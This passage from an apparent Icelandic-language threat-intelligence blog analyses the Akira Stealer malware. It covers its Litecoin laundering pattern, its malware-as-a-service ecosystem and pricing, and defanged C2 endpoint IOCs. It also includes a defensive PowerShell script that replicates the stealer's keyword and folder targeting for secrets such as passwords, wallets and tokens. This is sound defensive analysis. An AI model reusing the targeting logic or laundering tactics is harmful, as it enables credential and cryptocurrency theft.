kryptógjaldmiðla. Með því að fylgja virkni þessara Litecoin-veskja á keðjunni gátum við afhjúpað mynstur sem gefa vísvitandi peningaþvætti til kynna. Veskið ",[578,11103,11104],{},"LW6EopiZ...",", sem árásaraðilinn stýrir, virkar sem miðlægur samsöfnunarpunktur. Fjármunum sem stolið er frá mörgum fórnarlömbum er trektað inn á þetta heimilisfang og þeim svo dreift hratt á mörg ný heimilisföng.",[525,11107,11108],{},"Hegðunin sem sést hér er dæmigerð fyrir klassískt klofningsmynstur sem notað er í tumbling- eða mixing-aðgerðum með kryptó. Í hverju tilviki er öll innkomna staðan skipt í tvær nokkurn veginn hlutfallslegar útgangandi færslur, hver send á annað veski. Þessari stefnu er ætlað að torvelda klösun heimilisfanga og rakningu á keðjunni með því að hylja uppruna fjármunanna. Það er áhrifarík taktík til að komast hjá detection frá sjálfvirkri blockchain-greiningu og threat intelligence-pöllum.",[525,11110,11111],{},"Þessi þvættishegðun nýtir samsetningu tímasetningar færslna, nákvæmrar klofningar verðmæta og lágmörkunar á endurnotkun heimilisfanga til að komast fram hjá heuristík sem klösunaralgrím eins og þau í GraphSense, Chainalysis eða TRM Labs nota almennt. Heildarmarkmiðið er að skapa færsluflæði með háa óreiðu, sem ruglar attribution og rýfur tengjanleika, sérstaklega þegar fjármunirnir eru loks brúaðir yfir í aðrar eignir eða skipt í myntir með áherslu á einkalíf.",[525,11113,11114],{},"Í dæminu hér fyrir neðan sýnum við skipulagt úrtak þessarar hegðunar. Innkomnu færslurnar eru aðskildar millifærslur frá fórnarlömbum. Þessum gildum er svo varpað nákvæmlega á útgangandi flæði, sem sýnir myntirnar \"þvegnar\" í gegnum hraðar, forspáanlegar og algrímískt klofnar útgreiðslur.",[1417,11116,4706,11120],{"className":11117,"style":11119},[11118],"font-size-1","width:100%; border-collapse: collapse;",[1433,11121,11122,4706,11145,4706,11178,4706,11206,4706,11235],{},[1423,11123,4711,11124,4711,11128,4711,11132,4711,11135,4711,11139,4711,11142,4706],{},[1426,11125,11127],{"style":11126},"text-align: left; width: 14%;","Uppruni inntaks",[1426,11129,11131],{"style":11130},"text-align: left; width: 12%;","Dagsetning inntaks",[1426,11133,11134],{"style":11126},"Inn (LTC)",[1426,11136,11138],{"style":11137},"text-align: left; width: 20%;","→ Veski árásaraðila",[1426,11140,11141],{"style":6322},"Útgangandi heimilisföng",[1426,11143,11144],{},"Samtals út (LTC)",[1423,11146,4711,11147,4711,11150,4711,11153,4711,11156,4711,11163,4711,11176,4706],{},[1438,11148,11149],{},"Input_1",[1438,11151,11152],{},"2024-09-21",[1438,11154,11155],{},"0.25339198",[1438,11157,11158,11159,4711],{},"\n      ",[1712,11160,11162],{"title":11161},"LLQtaBnSAFpCFUw5cXRRka7Nvtrs4Up9bH","LLQtaBnSAF...",[1438,11164,11165,11166,11169,11170,11165,11172,11175],{},"\n      - ",[578,11167,11168],{},"LZmHkgkED..."," (0.15579078, 2024-09-26)",[724,11171],{},[578,11173,11174],{},"M8JpDsw5H7..."," (0.09760120, 2024-09-26)\n    ",[1438,11177,11155],{},[1423,11179,4711,11180,4711,11183,4711,11186,4711,11189,4711,11193,4711,11204,4706],{},[1438,11181,11182],{},"Input_2",[1438,11184,11185],{},"2024-04-16",[1438,11187,11188],{},"1.09976044",[1438,11190,11158,11191,4711],{},[1712,11192,11162],{"title":11161},[1438,11194,11165,11195,11198,11199,11165,11201,11203],{},[578,11196,11197],{},"LgWrCAF8ED..."," (0.84304664, 2024-06-13)",[724,11200],{},[578,11202,11197],{}," (0.25671380, 2024-06-13)\n    ",[1438,11205,11188],{},[1423,11207,4711,11208,4711,11211,4711,11214,4711,11217,4711,11221,4711,11233,4706],{},[1438,11209,11210],{},"Input_3",[1438,11212,11213],{},"2024-03-06",[1438,11215,11216],{},"0.77089346",[1438,11218,11158,11219,4711],{},[1712,11220,11162],{"title":11161},[1438,11222,11165,11223,11226,11227,11165,11229,11232],{},[578,11224,11225],{},"LZL3wQcSRP..."," (0.38544673, 2024-03-04)",[724,11228],{},[578,11230,11231],{},"M8kiBpVHG3..."," (0.38544673, 2024-03-04)\n    ",[1438,11234,11216],{},[1423,11236,4711,11237,4711,11240,4711,11242,4711,11244,4711,11248,4711,11258,4706],{},[1438,11238,11239],{},"Input_4",[1438,11241,11213],{},[1438,11243,11216],{},[1438,11245,11158,11246,4711],{},[1712,11247,11162],{"title":11161},[1438,11249,11165,11250,11226,11253,11165,11255,11232],{},[578,11251,11252],{},"LUFLTrqYpix...",[724,11254],{},[578,11256,11257],{},"La22dfH9eM...",[1438,11259,11216],{},[853,11261],{"className":11262},[856,857],[556,11264,11266],{"id":11265},"_10-innan-akira-vistkerfisins-netbrotainnviðir-í-viðskiptaskyni","10. Innan Akira-vistkerfisins – netbrotainnviðir í viðskiptaskyni",[525,11268,562],{},[525,11270,11271],{},"Akira er ekki bara stealer, það er hjarta blómlegs undirheimavistkerfis sem hannað er til að einfalda, skala og fjárnýta netbrot.",[740,11273,11275],{"id":11274},"_101-plug-and-play-vistkerfi-fyrir-ógnaraðila","10.1 Plug-and-play vistkerfi fyrir ógnaraðila",[525,11277,746],{},[525,11279,11280],{},"Akira-vistkerfið er dæmi um það hvernig netbrot hafa þróast í fagmannlegt og þjónustudrifið hagkerfi. Í því eru:",[630,11282,11283,11292,11298,11304,11310],{},[633,11284,11285,11288,11289,1138],{},[567,11286,11287],{},"Builder-bottar"," til að búa til payloads eftir þörfum (t.d. ",[578,11290,11291],{},"@AkiraRedBot",[633,11293,11294,11297],{},[567,11295,11296],{},"Telegram-rásir"," fyrir uppfærslur, beiðnir um eiginleika og þjónustu við viðskiptavini",[633,11299,11300,11303],{},[567,11301,11302],{},"Sjálfvirk leyfis- og greiðsluumsjón",", oft í gegnum einkaskeyti eða nafnlausa netverslunarpalla eins og Sellix",[633,11305,11306,11309],{},[567,11307,11308],{},"Einingar í búntum"," svo sem klippiborðsyfirtökur, Discord-token-loggarar, stealers fyrir browsergögn og jafnvel ransomware-viðbætur",[633,11311,11312,11315],{},[567,11313,11314],{},"Sérstillanleg payloads"," með uppsetningarviðmótum sem leyfa rofa, webhook-inntak og eigin táknmyndir",[525,11317,11318],{},[774,11319],{"alt":11320,"src":11321},"Akira Stealer","https://res.cloudinary.com/c4a8/image/upload/v1749797420/blog/pics/akira-stealer-v2.jpg",[740,11323,11325],{"id":11324},"_102-fjárnýting-netbrota","10.2 Fjárnýting netbrota",[525,11327,746],{},[525,11329,11330],{},"Uppbygging Akira endurspeglar breiðari þróun í átt að \"Malware-as-a-Service\" (MaaS), þar sem:",[630,11332,11333,11339,11345,11351],{},[633,11334,11335,11338],{},[567,11336,11337],{},"Engrar djúprar tækniþekkingar"," er þörf til að hefja árásir",[633,11340,11341,11344],{},[567,11342,11343],{},"Aðgangskostnaður er lágur"," ($75 fyrir 3 mánuði, $150 til æviloka)",[633,11346,11347,11350],{},[567,11348,11349],{},"Stuðningur og skjölun eru samstundis"," í gegnum Telegram",[633,11352,11353,11356],{},[567,11354,11355],{},"Framlög samfélagsins"," víkka Akira reglulega út með scriptum og tillögum um eiginleika",[525,11358,11359],{},"Þetta vistkerfi speglar lögmæt SaaS-viðskiptamódel, með changelogs, endurbótum á notendaupplifun, verðþrepum og viðbótarsölu.",[525,11361,11362],{},[774,11363],{"alt":11364,"src":11365},"Akria Stealer","https://res.cloudinary.com/c4a8/image/upload/v1749797061/blog/pics/akira-stealer.jpg",[740,11367,11369],{"id":11368},"_103-umfram-stealerinn-hlutar-vistkerfisins","10.3 Umfram stealerinn – hlutar vistkerfisins",[525,11371,746],{},[525,11373,1743,11374,11376],{},[578,11375,609],{}," sé hjarta margra árása býður vistkerfið upp á alla keðjuna:",[630,11378,11379,11382,11385,11388,11391],{},[633,11380,11381],{},"Obfuskunartól eins og PyInstaller-wrappers",[633,11383,11384],{},"Skráabindara til að tengja illgjarna payloads við meinlausan hugbúnað",[633,11386,11387],{},"Þýðendur, crypters og fjölbreytileika á keyrslutíma",[633,11389,11390],{},"Hýsingarspegla til afhendingar payloads og exfiltration (t.d. GoFile, AnonFiles)",[633,11392,11393],{},"Gagnaumsjónarbotta sem draga saman stolin credentials og vélbúnaðarprófíla",[525,11395,11396],{},[774,11397],{"alt":11398,"src":11399},"Akira Bot","https://res.cloudinary.com/c4a8/image/upload/v1749797107/blog/pics/akira-bot.jpg",[556,11401,11403],{"id":11402},"_11-akira-stealer-quickcheck-skrár-sem-urðu-fyrir-árásinni","11. Akira Stealer QuickCheck: skrár sem urðu fyrir árásinni",[525,11405,562],{},[740,11407,11409],{"id":11408},"_111-til-hvers-er-þetta","11.1 Til hvers er þetta?",[525,11411,746],{},[525,11413,11414,11415,646,11418,646,11421,585,11424,11427],{},"Eftir meinta Akira Stealer-sýkingu er afgerandi að vita samstundis hvaða skrár á kerfinu þínu voru í hættu á að verða exfiltreraðar. QuickCheck PowerShell-scriptið sem lýst er hér fyrir ofan endurgerir nákvæmlega leitarrökvísi Akira: það skannar möppurnar ",[567,11416,11417],{},"Desktop",[567,11419,11420],{},"Documents",[567,11422,11423],{},"Downloads",[567,11425,11426],{},"OneDrive"," hjá notandanum að skrám sem:",[630,11429,11430,11445,11448],{},[633,11431,11432,11433,646,11436,646,11439,8782,11442],{},"Innihalda viðkvæm leitarorð í skráarheitinu, svo sem ",[578,11434,11435],{},"password",[578,11437,11438],{},"wallet",[578,11440,11441],{},"backup",[578,11443,11444],{},"token",[633,11446,11447],{},"Hafa tiltekna skráarendingu sem algengt er að beinst sé að (.txt, .docx, .pdf, .jpg og fleira)",[633,11449,11450],{},"Eru undir 2 MB stærðarþakinu sem malware-ið setur",[525,11452,11453,11454,11457],{},"Þótt QuickCheck gefi hratt yfirlit byggt á innri rökvísi Akira Stealer ",[567,11455,11456],{},"kemur það ekki í staðinn"," fyrir heildstæð forensic-verkfæri eða faglega incident response. Fylgdu alltaf eftir með dýpri greiningu þegar staðfest innbrot eru annars vegar.",[525,11459,11460,11461,646,11464,646,11467,585,11470,613],{},"Það birtir svo raðaða töflu með ",[567,11462,11463],{},"skráarheiti",[567,11465,11466],{},"hlutfallslegri slóð",[567,11468,11469],{},"stærð (KB)",[567,11471,11472],{},"leitarorðinu sem kveikti",[847,11474,11475],{},[525,11476,11477,11480,11481,11484,11485,11487,11488,11491],{},[567,11478,11479],{},"FYRIRVARI","\nÞetta tól er látið í té ",[567,11482,11483],{},"“as is”"," án nokkurrar ábyrgðar á heilleika eða hæfi til tiltekins tilgangs. Það tryggir ",[567,11486,1606],{}," að ",[567,11489,11490],{},"allar"," hugsanlega viðkvæmar skrár finnist og kemur ekki í staðinn fyrir fulla malware-forensic. Notkun er á eigin ábyrgð.",[853,11493],{"className":11494},[856],[740,11496,11498],{"id":11497},"lagalegur-fyrirvari","Lagalegur fyrirvari",[525,11500,746],{},[525,11502,11503,11504,11507,11508,11511],{},"Þetta QuickCheck-tól er eingöngu ætlað til mats í ",[567,11505,11506],{},"defensive security",". Óheimil skönnun eða notkun á kerfum sem þú átt ekki getur brotið lög um einkalíf, höfundarrétt eða misnotkun tölvukerfa. glueckkanja AG tekur á sig ",[567,11509,11510],{},"enga ábyrgð"," á misnotkun eða skaða sem hlýst af notkun þess.",[740,11513,11515],{"id":11514},"powershell-script","PowerShell-script",[525,11517,746],{},[615,11519,11521],{"className":1706,"code":11520,"language":1708,"meta":529,"style":529},"\u003C#\n.SYNOPSIS\n    QuickCheck: Lists all files that Akira Stealer would potentially exfiltrate.\n\n.DESCRIPTION\n    Scans Desktop, Documents, Downloads and OneDrive for files that:\n      • Contain one of the defined keywords in their name\n      • Have an allowed file extension\n      • Are not larger than 2 MB\n    Presents the results in a colored, tabular overview.\n\n.NOTES\n    © glueckkanja AG – Kaiserstr. 39 · 63065 Offenbach\n#>\n\n# -------------------------------------\n# 1. Configuration\n# -------------------------------------\n$scanFolders = @(\n    \"$env:USERPROFILE\\Desktop\",\n    \"$env:USERPROFILE\\Documents\",\n    \"$env:USERPROFILE\\Downloads\",\n    \"$env:USERPROFILE\\OneDrive\"\n)\n$keywords   = 'passw','seed','mnemo','phrase','login','wallet','crypto','token','backup','secret','account'\n$extensions = '.txt','.doc','.docx','.pdf','.csv','.xls','.xlsx','.jpg','.png'\n$maxSize    = 2MB\n\n# -------------------------------------\n# 2. Scan and Collect Matches\n# -------------------------------------\n$matches = [System.Collections.Generic.List[PSObject]]::new()\n\nforeach ($folder in $scanFolders) {\n    if (-not (Test-Path $folder)) { continue }\n    Get-ChildItem -Path $folder -Recurse -File -ErrorAction SilentlyContinue | ForEach-Object {\n        # 2.1 Extension filter\n        if ($extensions -notcontains $_.Extension.ToLower()) { return }\n        # 2.2 Size filter\n        if ($_.Length -gt $maxSize) { return }\n\n        # 2.3 Keyword filter: explicit loop to avoid null-method calls\n        $hit = $null\n        foreach ($kw in $keywords) {\n            if ($_.Name.ToLower().Contains($kw)) {\n                $hit = $kw\n                break\n            }\n        }\n        if (-not $hit) { return }\n\n        # 2.4 Build relative path\n        $rel = $_.DirectoryName.Substring($env:USERPROFILE.Length + 1)\n\n        # 2.5 Collect\n        $matches.Add([PSCustomObject]@{\n            FileName    = $_.Name\n            Location    = $rel\n            'Size (KB)' = [math]::Round($_.Length / 1KB, 1)\n            Keyword     = $hit\n        })\n    }\n}\n\n# -------------------------------------\n# 3. Display Results\n# -------------------------------------\nclear\nWrite-Host \"🔍 glueckkanja AG – Akira Stealer QuickCheck\" -ForegroundColor Cyan\nWrite-Host \"────────────────────────────────────────────────────────\" -ForegroundColor DarkCyan\n\nif ($matches.Count -gt 0) {\n    $matches |\n        Sort-Object Location, FileName |\n        Format-Table -AutoSize `\n            @{Label='File';       Expression={$_.FileName}},\n            @{Label='Location';   Expression={$_.Location}},\n            @{Label='Size (KB)';  Expression={$_. 'Size (KB)'}},\n            @{Label='Keyword';    Expression={$_.Keyword}}\n\n    Write-Host \"`n⚠️  Total potential matches: $($matches.Count)\" -ForegroundColor Yellow\n}\nelse {\n    Write-Host \"✅ No potentially compromised files found.\" -ForegroundColor Green\n}\n\nWrite-Host \"`n© glueckkanja AG · Kaiserstr. 39 · 63065 Offenbach\" -ForegroundColor DarkGray\nWrite-Host \"Disclaimer: This tool offers a high-level scan based on Akira Stealer’s logic; it does not replace full forensic analysis.\" -ForegroundColor DarkGray\n",[578,11522,11523,11528,11533,11538,11542,11547,11552,11557,11562,11567,11572,11576,11581,11586,11591,11595,11600,11605,11609,11614,11619,11624,11629,11634,11638,11643,11648,11653,11657,11661,11666,11670,11675,11679,11684,11689,11694,11699,11704,11709,11714,11718,11723,11728,11733,11738,11743,11748,11753,11758,11763,11767,11772,11777,11781,11786,11791,11796,11801,11806,11811,11816,11821,11825,11829,11833,11838,11842,11847,11852,11857,11861,11866,11871,11876,11881,11886,11891,11896,11902,11907,11913,11918,11924,11930,11935,11940,11946],{"__ignoreMap":529},[1712,11524,11525],{"class":1714,"line":1715},[1712,11526,11527],{},"\u003C#\n",[1712,11529,11530],{"class":1714,"line":530},[1712,11531,11532],{},".SYNOPSIS\n",[1712,11534,11535],{"class":1714,"line":2096},[1712,11536,11537],{},"    QuickCheck: Lists all files that Akira Stealer would potentially exfiltrate.\n",[1712,11539,11540],{"class":1714,"line":2102},[1712,11541,3878],{"emptyLinePlaceholder":325},[1712,11543,11544],{"class":1714,"line":2424},[1712,11545,11546],{},".DESCRIPTION\n",[1712,11548,11549],{"class":1714,"line":2430},[1712,11550,11551],{},"    Scans Desktop, Documents, Downloads and OneDrive for files that:\n",[1712,11553,11554],{"class":1714,"line":3086},[1712,11555,11556],{},"      • Contain one of the defined keywords in their name\n",[1712,11558,11559],{"class":1714,"line":3881},[1712,11560,11561],{},"      • Have an allowed file extension\n",[1712,11563,11564],{"class":1714,"line":3887},[1712,11565,11566],{},"      • Are not larger than 2 MB\n",[1712,11568,11569],{"class":1714,"line":4132},[1712,11570,11571],{},"    Presents the results in a colored, tabular overview.\n",[1712,11573,11574],{"class":1714,"line":5049},[1712,11575,3878],{"emptyLinePlaceholder":325},[1712,11577,11578],{"class":1714,"line":5055},[1712,11579,11580],{},".NOTES\n",[1712,11582,11583],{"class":1714,"line":5061},[1712,11584,11585],{},"    © glueckkanja AG – Kaiserstr. 39 · 63065 Offenbach\n",[1712,11587,11588],{"class":1714,"line":5067},[1712,11589,11590],{},"#>\n",[1712,11592,11593],{"class":1714,"line":5073},[1712,11594,3878],{"emptyLinePlaceholder":325},[1712,11596,11597],{"class":1714,"line":5079},[1712,11598,11599],{},"# -------------------------------------\n",[1712,11601,11602],{"class":1714,"line":5085},[1712,11603,11604],{},"# 1. Configuration\n",[1712,11606,11607],{"class":1714,"line":5091},[1712,11608,11599],{},[1712,11610,11611],{"class":1714,"line":5097},[1712,11612,11613],{},"$scanFolders = @(\n",[1712,11615,11616],{"class":1714,"line":5103},[1712,11617,11618],{},"    \"$env:USERPROFILE\\Desktop\",\n",[1712,11620,11621],{"class":1714,"line":5109},[1712,11622,11623],{},"    \"$env:USERPROFILE\\Documents\",\n",[1712,11625,11626],{"class":1714,"line":5115},[1712,11627,11628],{},"    \"$env:USERPROFILE\\Downloads\",\n",[1712,11630,11631],{"class":1714,"line":5121},[1712,11632,11633],{},"    \"$env:USERPROFILE\\OneDrive\"\n",[1712,11635,11636],{"class":1714,"line":5127},[1712,11637,5268],{},[1712,11639,11640],{"class":1714,"line":5133},[1712,11641,11642],{},"$keywords   = 'passw','seed','mnemo','phrase','login','wallet','crypto','token','backup','secret','account'\n",[1712,11644,11645],{"class":1714,"line":5800},[1712,11646,11647],{},"$extensions = '.txt','.doc','.docx','.pdf','.csv','.xls','.xlsx','.jpg','.png'\n",[1712,11649,11650],{"class":1714,"line":5805},[1712,11651,11652],{},"$maxSize    = 2MB\n",[1712,11654,11655],{"class":1714,"line":5810},[1712,11656,3878],{"emptyLinePlaceholder":325},[1712,11658,11659],{"class":1714,"line":5815},[1712,11660,11599],{},[1712,11662,11663],{"class":1714,"line":5821},[1712,11664,11665],{},"# 2. Scan and Collect Matches\n",[1712,11667,11668],{"class":1714,"line":5826},[1712,11669,11599],{},[1712,11671,11672],{"class":1714,"line":5831},[1712,11673,11674],{},"$matches = [System.Collections.Generic.List[PSObject]]::new()\n",[1712,11676,11677],{"class":1714,"line":5836},[1712,11678,3878],{"emptyLinePlaceholder":325},[1712,11680,11681],{"class":1714,"line":5841},[1712,11682,11683],{},"foreach ($folder in $scanFolders) {\n",[1712,11685,11686],{"class":1714,"line":5846},[1712,11687,11688],{},"    if (-not (Test-Path $folder)) { continue }\n",[1712,11690,11691],{"class":1714,"line":5851},[1712,11692,11693],{},"    Get-ChildItem -Path $folder -Recurse -File -ErrorAction SilentlyContinue | ForEach-Object {\n",[1712,11695,11696],{"class":1714,"line":5857},[1712,11697,11698],{},"        # 2.1 Extension filter\n",[1712,11700,11701],{"class":1714,"line":5863},[1712,11702,11703],{},"        if ($extensions -notcontains $_.Extension.ToLower()) { return }\n",[1712,11705,11706],{"class":1714,"line":5869},[1712,11707,11708],{},"        # 2.2 Size filter\n",[1712,11710,11711],{"class":1714,"line":5874},[1712,11712,11713],{},"        if ($_.Length -gt $maxSize) { return }\n",[1712,11715,11716],{"class":1714,"line":5879},[1712,11717,3878],{"emptyLinePlaceholder":325},[1712,11719,11720],{"class":1714,"line":5884},[1712,11721,11722],{},"        # 2.3 Keyword filter: explicit loop to avoid null-method calls\n",[1712,11724,11725],{"class":1714,"line":5889},[1712,11726,11727],{},"        $hit = $null\n",[1712,11729,11730],{"class":1714,"line":5895},[1712,11731,11732],{},"        foreach ($kw in $keywords) {\n",[1712,11734,11735],{"class":1714,"line":5900},[1712,11736,11737],{},"            if ($_.Name.ToLower().Contains($kw)) {\n",[1712,11739,11740],{"class":1714,"line":5905},[1712,11741,11742],{},"                $hit = $kw\n",[1712,11744,11745],{"class":1714,"line":5910},[1712,11746,11747],{},"                break\n",[1712,11749,11750],{"class":1714,"line":5915},[1712,11751,11752],{},"            }\n",[1712,11754,11755],{"class":1714,"line":5920},[1712,11756,11757],{},"        }\n",[1712,11759,11760],{"class":1714,"line":5925},[1712,11761,11762],{},"        if (-not $hit) { return }\n",[1712,11764,11765],{"class":1714,"line":5931},[1712,11766,3878],{"emptyLinePlaceholder":325},[1712,11768,11769],{"class":1714,"line":5937},[1712,11770,11771],{},"        # 2.4 Build relative path\n",[1712,11773,11774],{"class":1714,"line":5943},[1712,11775,11776],{},"        $rel = $_.DirectoryName.Substring($env:USERPROFILE.Length + 1)\n",[1712,11778,11779],{"class":1714,"line":5949},[1712,11780,3878],{"emptyLinePlaceholder":325},[1712,11782,11783],{"class":1714,"line":5954},[1712,11784,11785],{},"        # 2.5 Collect\n",[1712,11787,11788],{"class":1714,"line":5959},[1712,11789,11790],{},"        $matches.Add([PSCustomObject]@{\n",[1712,11792,11793],{"class":1714,"line":5965},[1712,11794,11795],{},"            FileName    = $_.Name\n",[1712,11797,11798],{"class":1714,"line":5971},[1712,11799,11800],{},"            Location    = $rel\n",[1712,11802,11803],{"class":1714,"line":5977},[1712,11804,11805],{},"            'Size (KB)' = [math]::Round($_.Length / 1KB, 1)\n",[1712,11807,11808],{"class":1714,"line":5983},[1712,11809,11810],{},"            Keyword     = $hit\n",[1712,11812,11813],{"class":1714,"line":5988},[1712,11814,11815],{},"        })\n",[1712,11817,11818],{"class":1714,"line":5993},[1712,11819,11820],{},"    }\n",[1712,11822,11823],{"class":1714,"line":5999},[1712,11824,2433],{},[1712,11826,11827],{"class":1714,"line":6004},[1712,11828,3878],{"emptyLinePlaceholder":325},[1712,11830,11831],{"class":1714,"line":6009},[1712,11832,11599],{},[1712,11834,11835],{"class":1714,"line":6015},[1712,11836,11837],{},"# 3. Display Results\n",[1712,11839,11840],{"class":1714,"line":6021},[1712,11841,11599],{},[1712,11843,11844],{"class":1714,"line":6027},[1712,11845,11846],{},"clear\n",[1712,11848,11849],{"class":1714,"line":6032},[1712,11850,11851],{},"Write-Host \"🔍 glueckkanja AG – Akira Stealer QuickCheck\" -ForegroundColor Cyan\n",[1712,11853,11854],{"class":1714,"line":6038},[1712,11855,11856],{},"Write-Host \"────────────────────────────────────────────────────────\" -ForegroundColor DarkCyan\n",[1712,11858,11859],{"class":1714,"line":6044},[1712,11860,3878],{"emptyLinePlaceholder":325},[1712,11862,11863],{"class":1714,"line":6049},[1712,11864,11865],{},"if ($matches.Count -gt 0) {\n",[1712,11867,11868],{"class":1714,"line":6055},[1712,11869,11870],{},"    $matches |\n",[1712,11872,11873],{"class":1714,"line":6061},[1712,11874,11875],{},"        Sort-Object Location, FileName |\n",[1712,11877,11878],{"class":1714,"line":6066},[1712,11879,11880],{},"        Format-Table -AutoSize `\n",[1712,11882,11883],{"class":1714,"line":6071},[1712,11884,11885],{},"            @{Label='File';       Expression={$_.FileName}},\n",[1712,11887,11888],{"class":1714,"line":6076},[1712,11889,11890],{},"            @{Label='Location';   Expression={$_.Location}},\n",[1712,11892,11893],{"class":1714,"line":6082},[1712,11894,11895],{},"            @{Label='Size (KB)';  Expression={$_. 'Size (KB)'}},\n",[1712,11897,11899],{"class":1714,"line":11898},79,[1712,11900,11901],{},"            @{Label='Keyword';    Expression={$_.Keyword}}\n",[1712,11903,11905],{"class":1714,"line":11904},80,[1712,11906,3878],{"emptyLinePlaceholder":325},[1712,11908,11910],{"class":1714,"line":11909},81,[1712,11911,11912],{},"    Write-Host \"`n⚠️  Total potential matches: $($matches.Count)\" -ForegroundColor Yellow\n",[1712,11914,11916],{"class":1714,"line":11915},82,[1712,11917,2433],{},[1712,11919,11921],{"class":1714,"line":11920},83,[1712,11922,11923],{},"else {\n",[1712,11925,11927],{"class":1714,"line":11926},84,[1712,11928,11929],{},"    Write-Host \"✅ No potentially compromised files found.\" -ForegroundColor Green\n",[1712,11931,11933],{"class":1714,"line":11932},85,[1712,11934,2433],{},[1712,11936,11938],{"class":1714,"line":11937},86,[1712,11939,3878],{"emptyLinePlaceholder":325},[1712,11941,11943],{"class":1714,"line":11942},87,[1712,11944,11945],{},"Write-Host \"`n© glueckkanja AG · Kaiserstr. 39 · 63065 Offenbach\" -ForegroundColor DarkGray\n",[1712,11947,11949],{"class":1714,"line":11948},88,[1712,11950,11951],{},"Write-Host \"Disclaimer: This tool offers a high-level scan based on Akira Stealer’s logic; it does not replace full forensic analysis.\" -ForegroundColor DarkGray\n",[853,11953],{"className":11954},[856,857],[556,11956,11958],{"id":11957},"_12-umfram-viðbrögð-hvernig-glueckkanja-csoc-breytir-atvikum-í-þekkingu","12. Umfram viðbrögð – hvernig glueckkanja CSOC breytir atvikum í þekkingu",[525,11960,562],{},[525,11962,11963,11964],{},"Flest security operations centers láta staðar numið við innilokun.\n",[567,11965,11966],{},"Við gerum það ekki.",[525,11968,11969],{},"Hjá glueckkanja CSOC lítum við á incident response ekki sem endamarkið heldur upphafspunktinn.",[525,11971,11972],{},"Þegar aðrir lýsa yfir sigri og halda á braut köfum við dýpra. Fyrir okkur er hvert atvik tækifæri til að læra, aðlagast og verða sterkari. Óþreytandi forvitni okkar, keyrð af margra ára djúpri forensic-sérþekkingu og reverse engineering getu, tryggir að við verjumst ekki aðeins, við sjáum fram í tímann.",[525,11974,11975,11976,613],{},"Þessi hugsun er ástæðan fyrir því að við byggðum ",[567,11977,11978],{},"Akira Compromise Reporter",[525,11980,11981],{},"Þetta forensic-tól, sem við þróuðum sjálf, gengur langt lengra en grunn-detection og nýtir nána þekkingu okkar á Akira Stealer til að gefa algeran skýrleika um hvaða gögn hafa verið kompromíseruð. Á fáum mínútum framleiðir það nákvæma mynd af öllum áhrifum atviksins sem hægt er að vinna með:",[630,11983,11984,11987,11990],{},[633,11985,11986],{},"Nákvæmlega hvaða credentials, tokens og browser-setum var stolið.",[633,11988,11989],{},"Nákvæmlega hvaða kryptóveski, skilaboðareikningar og skrár lágu opin.",[633,11991,11992],{},"Skýra, skipulagða og ítarlega forensic-skýrslu, sem breytir óvissu í tafarlausar og upplýstar aðgerðir.",[525,11994,11995],{},[774,11996],{"alt":11997,"src":11998},"Akira Compromise Report","https://res.cloudinary.com/c4a8/image/upload/v1749796758/blog/pics/akira-compromise-report.png",[525,12000,12001],{},"Því hjá glueckkanja mælum við árangur okkar ekki aðeins í blokkuðum ógnum heldur í þeim skýrleika sem við skilum. Cybersecurity, rétt unnin, snýst ekki um að bregðast við atvikum, hún snýst um að skilja, aðlagast og vera alltaf einu skrefi framar.",[525,12003,12004],{},[567,12005,12006],{},"Það er það sem greinir glueckkanja CSOC frá öðrum.",[556,12008,12010],{"id":12009},"_13-indicators-of-compromise-iocs","13. Indicators of Compromise (IOCs)",[525,12012,562],{},[525,12014,12015],{},"Hér fyrir neðan er heildstætt safn IOC, orðrétt eins og þau voru dregin beint úr malware-kóðanum við reverse engineering-vinnu okkar innanhúss hjá glueckkanja CSOC. Engar tilgátur og engar utanaðkomandi threat intel-heimildir voru notaðar, allir indikatorar eru staðfestar niðurstöður. Öllum URL er obfuskerað af ásettu ráði til að hindra að klikkað sé á þau fyrir slysni.",[525,12017,12018],{},[567,12019,12020],{},"Skammstafanir:",[630,12022,12023,12029],{},[633,12024,12025,12028],{},[567,12026,12027],{},"TG:"," Telegram-tilkynningarás",[633,12030,12031,12034],{},[567,12032,12033],{},"Alt:"," annar (vara) endapunktur",[740,12036,12038],{"id":12037},"_1-lén-og-url","1. Lén og URL",[525,12040,746],{},[1417,12042,4706,12044],{"className":12043,"style":11119},[11118],[1433,12045,12046,4706,12058,4706,12071,4706,12084,4706,12097,4706,12110,4706,12123,4706,12136,4706,12151,4706,12167,4706,12180,4706,12193,4706,12206,4706,12219,4706,12232,4706,12245,4706,12258,4706,12271,4706,12284,4706,12297,4706,12311,4706,12324],{},[1423,12047,4711,12048,4711,12052,4711,12056,4706],{},[1426,12049,12051],{"style":12050},"text-align: left; width: 18%;","Flokkur",[1426,12053,12055],{"style":12054},"text-align: left; width: 52%;","Obfuskerað URL",[1426,12057,4878],{},[1423,12059,4711,12060,4711,12063,4711,12068,4706],{},[1438,12061,12062],{},"Aðalinnspýting",[1438,12064,12065],{},[578,12066,12067],{},"https[:]//hentaikawaiiuwu[.]com/.well-known/pki-validation/inj[.]php",[1438,12069,12070],{},"Upphaflegur webhook-endapunktur árásaraðilans",[1423,12072,4711,12073,4711,12076,4711,12081,4706],{},[1438,12074,12075],{},"Innspýting á varaleið",[1438,12077,12078],{},[578,12079,12080],{},"https[:]//cosmoplanets[.]net/.well-known/pki-validation/inj[.]php",[1438,12082,12083],{},"Annar innspýtingarendapunktur",[1423,12085,4711,12086,4711,12089,4711,12094,4706],{},[1438,12087,12088],{},"Villutilkynningar (TG)",[1438,12090,12091],{},[578,12092,12093],{},"https[:]//hentaikawaiiuwu[.]com/.well-known/pki-validation/link[.]php",[1438,12095,12096],{},"URL fyrir villu- og loggtilkynningar á Telegram",[1423,12098,4711,12099,4711,12102,4711,12107,4706],{},[1438,12100,12101],{},"Villutilkynningar (Alt)",[1438,12103,12104],{},[578,12105,12106],{},"https[:]//cosmoplanets[.]net/.well-known/pki-validation/link[.]php",[1438,12108,12109],{},"Annað URL fyrir villu- og loggtilkynningar",[1423,12111,4711,12112,4711,12115,4711,12120,4706],{},[1438,12113,12114],{},"Vanity-bot (TG)",[1438,12116,12117],{},[578,12118,12119],{},"https[:]//hentaikawaiiuwu[.]com/.well-known/pki-validation/mumu[.]php",[1438,12121,12122],{},"Endapunktur fyrir tilkynningar um vanity-heimilisföng",[1423,12124,4711,12125,4711,12128,4711,12133,4706],{},[1438,12126,12127],{},"Vanity-bot 